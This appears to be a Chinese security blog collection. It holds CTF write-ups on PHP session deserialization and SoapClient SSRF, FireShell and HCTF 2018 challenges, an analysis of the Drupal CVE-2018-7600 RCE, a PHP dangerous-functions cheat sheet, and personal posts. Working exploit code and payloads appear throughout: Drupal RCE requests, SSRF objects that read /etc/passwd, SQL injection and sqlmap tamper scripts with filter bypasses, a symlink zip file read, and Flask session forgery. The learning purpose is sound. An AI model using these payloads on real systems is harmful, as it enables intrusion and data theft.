变量覆盖

php的session序列化引擎有3个
php_binary：存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 like:name:6:"KarmA";
php(默认)：存储方式是，键名+竖线+经过serialize()函数序列处理的值 like:name|s:6:"KarmA";
* php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值 like:a:1:{s:4:"name";s:6:"KarmA";}
正常情况下如果需要修改为其他引擎，需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');但是，从php7开始可以通过参数来设置，所以这道题需要通过post来改变引擎session.serialize_handler=php_serialize。

PHP中SESSION反序列化机制

SoapClient

public __call ( string $function_name , array $arguments ) : mixed
public __construct ( mixed $wsdl [, array $options ] )

利用这个类的__call方法，我们可以进行ssrf，因为当soapclient()第一个参数为null时是非wsdl模式，意味着会对第二个参数进行http请求。

CRLF

CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。

CRLF配合SoapClient，我们可以伪造cookie，在ssrf时带上我们的cookie，不然，flag是无法写入我们的session里面的。

~/Downloads nc -l 6666
POST / HTTP/1.1
Host: localhost:6666
Connection: Keep-Alive
User-Agent: KarmA
Cookie: PHPSESSID=KarmA

Content-Type: text/xml; charset=utf-8
SOAPAction: "demo#ff"
Content-Length: 366

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="demo" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:ff/></SOAP-ENV:Body></SOAP-ENV:Envelope>

exploit

本地构造php引擎序列化数据

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "AAA:BBB\r\n" .
                                             "Cookie:PHPSESSID=KarmA",
                               'uri' => "http://127.0.0.1/"));

$se = serialize($b); 
echo urlencode($se);

第一次post请求
GET -> f=session_start&name=| + seralize data
POST -> serialize_handler=php_serialize

第二次post请求
GET -> f=extract&name=随意
POST -> b=call_user_func

再次刷新一下页面，就会发现flag已经写入session中了。

Conclusion

反序列化结合ssrf，这道题的思路让人大开眼界～还学会了不少骚操作～
mochazz师傅这张题解思路图简洁明了。

FireShell CTF 2019 马后炮分析

Tue, 29 Jan 2019 07:16:44 +0800

Vice

Source code

看到了__construct 和 __destruct就想到了反序列化；看到了curl，就想到了ssrf。应该就是反序列化结合ssrf读flag的考点了。

Trying to unserialize

首先测试一下反序列化配合ssrf的file协议，看看常规操作能不能读取文件。
首先根据源码，自己写php，将变量序列化输出

<?php

class SHITS{
    private $url;
    private $method;
    private $addr;
    private $host;
    private $name;
    function __construct(){
        $this->method = 'doit';
        $this->url = 'file:///etc/passwd';
    }
}
$test = new SHITS();
$a = serialize($test);
echo $a ;
echo "<br>";
echo urlencode($a);
?>
/* 
输出：
O:5:"SHITS":5:{s:10:"SHITSurl";s:18:"file:///etc/passwd";s:13:"SHITSmethod";s:4:"doit";s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A18%3A%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
*/

可以发现，能成功读取/etc/passwd

这里有一个坑就是，在线url编码的并不能成功读取文件，php里面urlencode()函数编码的就可以成功读取，但是两者url解码结果是一样的。。后来通过“一起来找茬”发现，urlencode()多了'%00'这个东东，填坑！

Trying to read flag

既然能通过file协议读取文件，下一步之需要把flag的目录找到就可以了。但是也没说flag在哪个文件～所以首先尝试读一下源码里的config.php，手动遍历网站目录，得到/var/www/html，接下来就要考虑如何绕过限制了。

strpos()有一个bug，可以通过二次编码来绕过，.可以用%2e来代替。
而且curl可以自动对url进行解码，配合起来即可。

if($this->addr !== "127.0.0.1" || $this->name === false){
      $not = ['.txt','.php','.xml','.html','.','[',']'];
      foreach($not as $ext){
        $p = strpos($this->url,$ext);
        if($p){
          die(":)");
        }
}

Bingo...

Reference

PHP Object injection

Exploitation Of 0ak

Mon, 28 Jan 2019 01:27:58 +0800

0x01 Make a plan

一开始只想了前端的计划，后端并没有仔细构思，导致后期开发的时候bug不断～～所以以后开发的时候，一定要记得先构思好框架再下手～～不然调bug会调崩溃～

博客叫 0ak

The oak is a living legend representing all that is true, wholesome, stable, and noble. When you are in need of stability and strength in your life – envision the oak in your minds eye. Picture yourself drawing into its endless energy waves. Soon, you will find yourself sharing in its power.

前端主题 Inspired By Colorlib / 罗磊的独立博客

后端很简陋，只是完成了一些基本功能。

0x02 Bugs

Forms length

后台添加/编辑文章的时候，要注意表单字段的长度，因为中文在表单里是经过编码的，所以长度可能会爆，就会出bug～

0x03 Details

0ak基于Python3+flask，由nginx+Docker+Gunicorn+Gevent部署，数据库是Mysql，用docker-compose一键部署维护，特点如下：

支持Mardown
支持文章多标签
支持多Category
伪静态
支持mweb图片一键上传到vps
docker自动化部署

暂时没有的功能：

文章分享
图片水印
后台管理Tags、Category
数据库存储评论
ajax异步加载（暂时不考虑）

代码块配色

模仿的carbon的mac外框，css用的是COLOR THEMES FOR GOOGLE CODE PRETTIFY

伪静态

可以用send_file()也可以用make_response

post = open(filename, 'tw')
        post_data = str(render_template('blog/post.html', posts=posts, toc=toc))
        post.write(post_data)
        post.close()

搜索

flask-msearch比Flask-Whooshee好用很多。

sitemap

Flask不渲染显示sitemap.xml

Tags Pagination

Tags的分页一直报错～～搞不懂～搜索语句是没有问题的～～

Bug
Flask分页报错

速度优化

逛大佬博客的时候发现大佬前端的优化贼舒服～然后就自己开始咕咕咕的捣鼓起来。特别是p神的博客，不是高峰的时候，紧逼大陆机子～简直是可怕。
捣鼓了一下午，已经开启了

Gzip压缩
loadCSS异步加载css（要注意是否会影响兼容性）
通过font-display优化webfont

基本上达到了峰值速度～大陆机子(.me)简直爽的不行。如果不是高峰期，亚马逊也很香～

0x04 Reference

Blog数据库设计之Tags表设计
 在 Flask-SQLAlchemy 中联表查询
 Building Minimal Docker Containers for Python Applications
用Python-Markdown和google-prettify来处理Markdown和代码高亮
 Nginx 开启gzip压缩(图片,文件,css)
字体加载最佳实践
 让骨架屏更快渲染
 CSS 加载新方式
 使用 font-display 优化 Web fonts 的加载
 谈谈css的加载及加载循序
 外贸网站终极速度优化细节全展示

CVE-2018-7600 Drupal7 RCE Analysis

Wed, 19 Dec 2018 06:30:39 +0800

0x00 Preface

前段时间看到柠檬师傅的drupal7 rce的文章，然后想起Ricter大佬好像也有篇类似的文章，然后仔细研究了一番～

0x01 Theory

漏洞造成的原理就是因为没有对用户传入的变量做限制和form_parent导致Drupal遍历到用户控制的#value

0x02 Triggering Vulnerability

file_ajax_upload

这里就是验证$form_build_id和$_POST["form_build_id"]是否相等，如果相等就取出被缓存的$form，然后再将$form的值交给durpal_render($form)进行渲染。
从而成为漏洞的触发点了，也就是为什么后面我们要发第二次POST请求的原因。

form cache

这里只需要用户输入的_triggering_element_value和$element['#name']相等，即可成功绕过，这就是后面为什么第一个POST请求中要将_triggering_element_name=name。

Inject to form

既然漏洞触发点有了，那就应该去找在哪里注入payload了。
刚好user_pass函数中可以看到$_GET['name']，于是就可以从这里入手了。

Key Point to arbitrary RCE

在这种情况下

Ricter大佬直接用passthru函数执行命令，肯定是执行不了的。
柠檬师傅找了另外一个利用点#attached，一样还是执行不了在黑名单里面的函数。
所以这就延伸到了另一个问题～～
当～～～disable_functions里面命令函数全都禁用掉了之后，该怎么办呢～（挖坑）～

Payload

常规利用点

POST /drupal-7.57/?q=user/password&name[%23post_render][]=system&name[%23markup]=whoami&name[%23type]=markup HTTP/1.1

...

form_id=user_pass&_triggering_element_name=name

attached利用点

POST /drupal-7.57/?q=user/password&name[%23attached][assert][][]=phpinfo() HTTP/1.1

...

form_id=user_pass&_triggering_element_name=name

获取$form 缓存（查看命令执行结果）

POST /drupal-7.57/?q=file/ajax/name/%23value/form-xxx HTTP/1.1

...

form_build_id=form-xxx

0x03 Reference

Drupal 7 - CVE-2018-7600 PoC Writeup
drupal7 cve-2018-7600任意代码执行利用

Self Talking -> Soul-Searching of 2018

Sun, 16 Dec 2018 01:44:05 +0800

临近期末，课变少了，渐渐开始进入“复习”阶段。但总感觉自己自从入冬以来，整个人都变得懒惰起来，仿佛进入了“冬眠”一般。一直坚持的早起练英文，也断了。感觉每天起来都在与床做着激烈的斗争……但不幸的是，我输了。
如此这般生活，实在是太过罪恶～再这样下去，跟咸鱼有什么区别～

于是就挑了两部之前存的电影调剂一下，其中有一部是《The Devil Wears Prada》
看完之后，的确有不少收获，但是，可能我现在还没有那样的职场经历，所以对我的共鸣微乎其微～

直到有一天看到一篇推送《拒绝何炅约饭，自律到变态，不蹭红毯不炒绯闻，韩雪活成了一股清流！》

我被深深的“嘲讽”到了。

第一次知道Cecilia（韩雪），这个名字，是她在TED的演讲《做一个积极的悲观主义者》中知道的。

一开始以为她是海龟，后来看到她配Titanic，又一次被震惊到……

但是当我看完那篇推送，稍微了解她的经历之后，我被彻彻底底的折服了！

这才是真的”你有多自律，就有多优秀“。

最让我惭愧的就是她在学习上的自律

为了学英语，她把所有零碎时间拼凑起来，推掉无意义的饭局，活动。
见缝插针地学习，甚至在剧组拍戏也挤出空闲时间趴在小桌子上学英语

她曾在知乎上分享学英语的经验，
每天雷打不动坚持学英语2-4小时，
拍戏或者节假日也不例外，
“不找借口不留后路。”
就是死磕，
就这样整整坚持了四年。
与其无用的社交，
不如高贵的独处，
这点，韩雪做到了。

每天忙得不可开交的名人，依然能够挤出时间花时间在学习上。而我，总会因为这样那样的问题，导致今日事不能今日毕，然后推到明天、后天……然后就没有然后了～说好的今年年底首战IELTS，结果不了了之，说好的再努力一点，让今年GPA能高一点，结果又因为“懒”，可能也没戏。总是立了太多的flag，但却没有几项能顺顺利利的拔掉。与其沉浸在day dream中，不如脚踏实地，踏踏实实地坚持完成每一天的schedule。

三分天赋可问津，七分勤奋入桃园

PHP常见危险函数及特殊函数Summary

Wed, 12 Dec 2018 09:50:17 +0800

PHP代码执行函数

eval

Grammar: eval(phpcode)

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是‘合法的 PHP 代码’，且必须以‘分号’结尾。

如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false。

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";"); /*一定要用\转义，不然会出现语法错误 */
echo $str;
?> 

/* eval 还可以实现
  1.运行普通字符串 eg: eval("echo 'aaa';")
  2.运行带<? php开头的字符串
  3.运行<? Php开头，?>结尾的字符串
  4，运行HTML与PHP混合的字符串
  5.从MySQL读取代码（字符串形式），并动态加载
  6.运行包含include和request的代码
  7.知道运行的过程是否出现异常（但无法捕捉到详细异常信息）
*/

assert

assert函数在php中用于判断一个表达式是否成立。返回bool；

Grammar:

PHP 5

``` bool assert ( [mixed $assertion [, string $description ] )
bool assert ( mixed $assertion [, string $description ] )

PHP 7

``` bool assert ( mixed $assertion [, Throwable $exception ] )
bool assert ( mixed $assertion [, Throwable $exception ] )

mixed 说明一个参数可以接受多种不同的（但不一定是所有的）类型。

例如 gettype() 可以接受所有的 PHP 类型，str_replace() 可以接受字符串和数组。

<?php
$s = 123;
echo assert("is_int($s)");
?> 

//  1 [Finished in 0.0s]

从这个例子可以看到字符串参数会被执行，这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的$code_str。
assert的用法却更详细一点。

assert_option()可以用来对assert()进行一些约束和控制;

默认值

ASSERT_ACTIVE=1 //Assert函数的开关
ASSERT_WARNING =1 //当表达式为false时，是否要输出警告性的错误提示,issue a PHP warning for each failed assertion
ASSERT_BAIL= 0 //是否要中止运行；terminate execution on failed assertions
ASSERT_QUIET_EVAL= 0 //是否关闭错误提示，在执行表达式时；disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions

preg_replace +'/e'

preg_replace — 执行一个正则表达式的搜索和替换

Grammar:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分（通常用正则匹配），以replacement进行替换。

/e 修正符使preg_replace()将replacement 参数当作php代码执行，但是php5.5.0以及后面的php7都已经不再支持了，用 preg_replace_callback() 代替。

创建函数

Grammar:

string create_function (string $args,string $code)

创建一个匿名函数，但不是真正的匿名函数，因为它返回值为函数名

$args 代表参数，多个参数用逗号分隔，

$code 代表函数体

eg:
func2=create_function("$args1,$args2","return $args1+$args2");
返回值为创建的函数名，是唯一的一个字符串
函数调用
func2(3,5);  //返回值为8

创建函数有两种方式：

1.使用function关键字

2.用string create_function (string $args,string $code)

php $cfunc = create_function('$v', 'return system($v);'); $cfunc = ('whoami'); //上下两者创建匿名函数的方式不同，但是结果一样 $cfunc = 'sys'.'tem';//用'.'来拼接 $cfunc = ('whoami');

两种定义函数方式的区别

function定义的函数是在编译阶段生成的

create_function创建的函数是在执行阶段生成的

所以，可以在function定义的函数定义之前或则之后调用它。

callable

call_user_func_array() 和。call_user_func()

<?php
function test($v1){
    echo "testing $v1";
}
call_user_func('test','karma');
?> 
//输出 testing karma
//若为function test(callable $v1) 强制回调类型，则会出现错误 （why？）
//

array_map

包含函数

include

include如果引入的文件不存在,试图继续往下执行,报一个warning
(如果你不介意之前的内容是否被包含，之后的内容都要执行，就使用include)

Grammar:

include $file;

在变量$file 可控的情况下，我们就可以包含任意文件。

由于配置环境不同，可以分为远程文件和本地文件包含。

包含函数也能读取任意文件内容，需要用到【支持的协议和封装协议】和【过滤器】

eg:用php留filter读取任意文件

include($_GET['file']);

//?file=php://filter/convert.base64-encode/resource=index.php

require

比include更严谨：

require如果引入的文件不存在,报fatal error,不再继续执行.
(如果之前的内容一定要被包含，才允许继续执行之后的代码，就使用require)

Include/require 与 include_once /require_once的区别

_once 会自动判断文件是否已经引入,如果引入,不再重复执行.
即:保证被包含文件只可能被引入一次.
(如果包含的文件里有定义函数，那么被包含的文件只能被包含一次，如果多次包含，就会出现函数重定义的错误，php是不运行函数重定义的，会出现致命错误，之后代码不在运行)

allow_url_include = on

远程文件包含

命令执行函数

exec()

Grammar:

function exec(string $command,array[optional] $output,int[optional] $return_value)

执行一个外部程序

exec 执行系统外部命令时不会输出结果，而是返回结果的最后一行，如果你想得到结果你可以使用第二个参数，让其输出到指定的数组，此数组一个记录代表输出的一行，即如果输出结果有20行，则这个数组就有20条记录，所以如果你需要反复输出调用不同系统外部命令的结果，你最好在输出每一条系统外部命令结果时清空这个数组，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回０。

passthru()

Grammar:

function passthru(string $command,int[optional] $return_value)

执行外部程序并且显示原始输出

passthru与system的区别，passthru直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，不返回任何值，且其可以输出二进制，比如图像数据。

proc_open()

Grammar:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

执行一个命令，并且打开用来输入/输出的文件指针

shell_exec()&``

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

通过shell环境执行命令，并且将完整的输出以字符串的方式返回。

system()

Grammar:

function system(string $command,int[optional] $return_value)

执行外部程序，并且显示输出

system和exec的区别在于system在执行系统外部命令时，直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，如果执行命令成功则返回true，否则返回false。第二个参数与exec第三个参数含义一样。

popen()

Grammar:

popen(command,mode)

通过popen()的参数传递一条命令，并对popen()所打开的文件进行执行。

fcntl_exec()

ob_start()

escapeshellcmd()

// 该函数用于过滤

……

文件操作函数

copy

Grammar:

copy(source,destination)

拷贝文件

file_get contents

Grammar:

file_get_contents(path,include_path,context,start,max_length)

将整个文件读入一个字符串

file_put contents

Grammar:

file_put_contents(file,data,mode,context)

将一个字符串写入文件

file

Grammar:

file(path,include_path,context)

把整个文件读入一个数组中

fopen

Grammar:

fopen(filename,mode,include_path,context)

打开文件或者url

move_uploaded_file

Grammar:

move_uploaded_file(file,newloc)

将上传的文件移动到新的位置

readfile

Grammar:

readfile(filename,include_path,context)

输出文件

rename

Grammar:

rename(oldname,newname,context)

重命名一个文件或目录

rmdir

Grammar:

rmdir(dir,context)

删除目录

unlink & delete

Grammar:

unlink(filename,context)

删除文件

读文件

hightlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen(filename,”r”),filename,”r”),size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen(“cat flag”, “r”), $size));
print_r(fgets(fopen($filename, “r”))); // 读取一行
fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen(filename,”r”),filename,”r”),size));
print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen(“flag”, “r”),”%s”));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

……

特殊函数

### 信息泄漏

bool phpinfo ([int $what = INFO_ALL])

输出php当前状态的大量信息

软连接-读取文件内容：

bool symlink (string $target ,string $link)

symlink()对于已有的target建立一个名为link的符号连接

string redline (string $path)

readlink()和同名的c函数做同样的事，返回符号连接的内容

环境变量

string getenv (string $varname)

获取一个环境变量的值

bool putenv (string $setting)

增加setting到服务器环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态

加载扩展

bool dl (string $library)

载入指定参数library的php扩展

配置相关

string ini_get (string $varname)

成功时返回配置选项的值

string ini_set (string $varname , string $newvalue)

string ini_alter (string $varname , string $newvalue)

设置指定配置选项。这个选项会在脚本执行时保持新的值，并在脚本结束后恢复

void ini_numeric (mixed $var)

恢复指定的配置选项到它的原始值

数字判断

Bool is_numeric (mixed $var)

如果var时数字和数字字符串则返回true，否则返回false

仅用is_numeric判断而不用intval转换就有可能插入16进制的字符串到数据库，进而可能导致sql二次注入

数组相关

Bool in_array (mixed. $needle , array $haystack [,bool $strict =false])

在haystack中搜索needle，如果没有设置strict则使用宽松的比较

该函数有一个特性，比较之前会进行自动类型转换：$a = '1abc';

超全局变量

$GLOBALS

变量覆盖

void parse_str (string $str [,array & &str])

如果str是URL传递入的查询字符串(query string)，则将它解析为变量并设置到当前作用域

int extract (array &var_array [,int $extract_type = EXTR_OVERWRITE [, srting $orefix = NULL]])

本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名，同时也检查和符号表中已有的变量名的冲突

Bool mb_parse_str ( string $encoded_string [, array. &result ])

解析GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_glovals，但又想用到一些全局变量，那么此函数就很有用

extract()
import_request_variables()
parse_str()
mb_parse_str()
全局变量覆盖：register_globals为ON，$GLOBALS

列目录

array glob ( string $pattern [, int $flags =0])

glob()函数依照libc glob()函数使用的规则寻找所有与pattern匹配的文件路径，类似于一般shells所用的规则一样。不进行缩写扩展或参数替代。

print_r(glob(“”)); // 列当前目录
print_r(glob(“/”)); // 列根目录 print_r(scandir(“.”));
print_r(scandir(“/“));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}

无参数获取信息

array get_defined_vars (void)

返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户自定义变量

array get_defined_constants ([bool $categorize = false])

返回当前所有已定义的常量名和值。这包含define()函数所创建的，也包含了所有拓展所创建的

array get_defined_functions (void)

返回一个包含所有已定义函数列表的多位数组

array get_included_files (void)

返回所有被include、include_once、require和require_once的文件名

序列化函数

serialize()
unserialize()
ini_set(‘session.serialize_handler’, ‘php_serialize’);

文件上传

move_uploaded_file()
getimagesize() //验证文件头只要为GIF89a，就会返回真

Reference

代码执行函数：

PHP Eval研究笔记

PHP assert函数的用法

PHP preg_replace() 正则替换所有符合条件的字符串

PHP——创建函数

PHP——使用callable强制指定回调类型

包含函数：

PHP——Info()信息泄漏漏洞利用提权及防范

PHP——include 和 require 的理解与区别

命令执行函数：

PHP——exec()函数以及获取其返回值

PHP——执行系统外部命令函数:exec()、passthru()、system()、shell_exec()

文件操作函数：

特殊函数：

Linux连接文件：硬连接和软连接

HCTF 2018 马后炮分析

Wed, 28 Nov 2018 23:58:38 +0800

Warmup

签到题

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')

一开始看上面这段代码有点懵，然后一搜～～～

就是套用phpmyadmin的exp即可获得flag

kzone

information collection

出题人WP
直接打开都是无限跳转，所以拿御剑扫一下目录，发现源码～～赶紧拖下来看看

cracking

翻了一遍之后，发现了member.php，发现admin_user是直接带入sql语句中的，而且admin_pass运用的是弱类型比较:)似乎有搞头～

if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }

但是这里我一直爆破不出来～～islogin无论传1还是0，都是返回You are already logged in!，那就看下还有什么其他路子吧～（后来发现。。是自己post请求点错了～～尴尬！！）

因为在safe.php下有过滤

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';

所以基本上通过正常方法是不能饶过or了～但是这道题有两个骚操作，一个是出题人的预期解（Innodb），一个是非预期解。

Innodb

源码里面的数据库文件和平常的没什么两样，然后随便找了个自己的对比了一下，发现。。有一丝猫腻～
就是ENGINE的地方不一样～

MySQL5.5版本开始Innodb已经成为Mysql的默认引擎(之前是MyISAM)，说明其优势是有目共睹的，如果你不知道用什么，那就用InnoDB，至少不会差。
所以可以使用mysql.innodb_table_stats来代替 information_schema.tables即可获取表名。
这里改一下大佬的来脚本测试，是成功的

import requests
import string
url = ""
rg = '._- {}'+string.digits+string.ascii_letters+'&'
flag = ''
for l in range(30):
    for i in rg:
        cookies = {
            "islogin":"1",
            # 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
            'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rtable_name\rfrom\rmysql.innodb_table_stats\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
            # 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i) 
        }
        r = requests.get(url, cookies=cookies)
        print(i, end="\r")
        # print("\r")
        if len(r.text) > 1000:
            flag+=i
            print(flag)
            break
        if i == '&':
            exit()

当然在使用这种方法之前，需要通过@@innodb_version来获取mysql版本，类似于@@version的效果，才能知道当前引擎是否为innodb，但是在实际情况中，mysql.innodb_table_stats表注入的缺点是无法通过查询得出列名。

json_decode

因为传入的login_data会有json_decode操作，所以我们可以通过将黑名单内的关键字进行encode，然后即可达到注入目的。

$login_data = json_decode($_COOKIE['login_data'], true);

接下来，当然可以选择自己写脚本注入，但是～～既然有工具肯定要好好利用啊～～看到Ricter大佬用sqlmap快速破题，所以我觉得。。还是要跟上大佬的脚步，把工具用的出神入化才行啊！

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    data = '{"admin_user":"admin%s","admin_pass":65}'
    payload = payload.lower()

    payload = payload.replace('u', '\u0075')
    payload = payload.replace('o', '\u006f')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload

这里有两个坑就是：
1. 要注意单引号中的转义
2. 要注意将f1转为大写
3. 注入的时候如果存在大小写敏感可以用binary区分

set_cookie

平台本身的逻辑问题，就可以实现布尔注入：
当查询返回的用户名为空且密码错误时，进行四次setcookie 操作
当查询返回的用户名为不为空时，进行两次setcookie 操作

hideandseek

Information collection

直接随意输入账号密码即可登陆，然后就要求上传zip文件。

随便上传一个zip后，发现会自动把压缩包内的内容打印出来。
搜索了一会发现了软连接这个东东。
于是试了试

~/Downloads/hctf_hideandseek ln -s /etc/passwd link

~/Downloads/hctf_hideandseek zip --symlinks test.zip link
  adding: link (stored 0%)

~/Downloads/hctf_hideandseek ls
link     test.zip

成功读取

接下来就是看看能不能读取到什么有用的信息了～
这里读了半天，没读出什么东西，卡住了，然后看了下wp，发现出题人说linux一切皆文件的思想，找到了Linux /proc/pid目录下各文件含义，简直大开眼界～
读到了uwsgi配置文件的位置，也知道了目录路径，接下来就是继续读了。

然后读到了源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

再把模版html读一下，虽然知道flag在flag.py里，但是你想直接读出来，是不可能的，出题人已经知道你这种“骚操作”，特地把这种情况排除了。

if(file != None):
    if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
        return redirect(url_for('index', error=1))

所以只能从admin入手。

{% if user %}
        <br>
        <br>
        <h1>Hello, {{ user }}. </h1>

        {% if user == 'admin' %}
        Your flag: <br>
        {{ flag  }}

        {% else %}
        <br>
        <br>

solution

这下子解题思路就明确了：admin用户不能登陆，只能伪造session了。
再观察一下源码对session的构造

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()获得10进制mac地址，这个也可以通过/sys/class/net/eth0/address来读取

然后自己构造一个flask，配上伪造的session即可得到flag

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import random
import requests


url = ''
mac = ''
mac = int(mac, 16) #要进行进制转换
print(mac)
app = Flask(__name__)
random.seed(mac)
key = random.random()*100
app.config['SECRET_KEY'] = str(key)
payload = {'username' : 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)

cookies = {'session' : session}
rq = requests.get(url, cookies=cookies)
print(session)
if 'hctf' in rq.text:
